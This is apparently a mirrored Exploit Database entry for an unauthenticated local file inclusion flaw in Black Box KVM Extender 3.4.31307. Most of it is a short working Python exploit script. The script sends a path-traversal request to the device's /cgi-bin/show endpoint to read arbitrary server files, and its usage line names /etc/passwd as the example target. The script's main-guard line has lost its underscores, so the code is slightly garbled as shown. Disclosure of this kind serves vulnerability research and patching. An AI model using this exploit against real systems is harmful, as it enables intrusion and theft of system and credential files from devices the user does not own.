Black Box Kvm Extender 3.4.31307 – Local File Inclusion

• Exploit Database
• 114 阅读

• 作者： Ferhat Çil
  日期： 2021-07-06
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50100/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

  # Exploit Title: Black Box Kvm Extender 3.4.31307 - Local File Inclusion # Date: 05.07.2021 # Exploit Author: Ferhat Çil # Vendor Homepage: http://www.blackbox.com/ # Software Link: https://www.blackbox.com/en-us/products/black-box-brand-products/kvm # Version: 3.4.31307 # Category: Webapps # Tested on: Linux # Description: Any user can read files from the server # without authentication due to an existing LFI in the following path: # http://target//cgi-bin/show?page=FilePath   import requests import sys   if name == 'main': if len(sys.argv) == 3: url = sys.argv[1] payload = url + "/cgi-bin/show?page=../../../../../../" + sys.argv[2] r = requests.get(payload) print(r.text) else: print("Usage: " + sys.argv[0] + ' http://example.com/ /etc/passwd')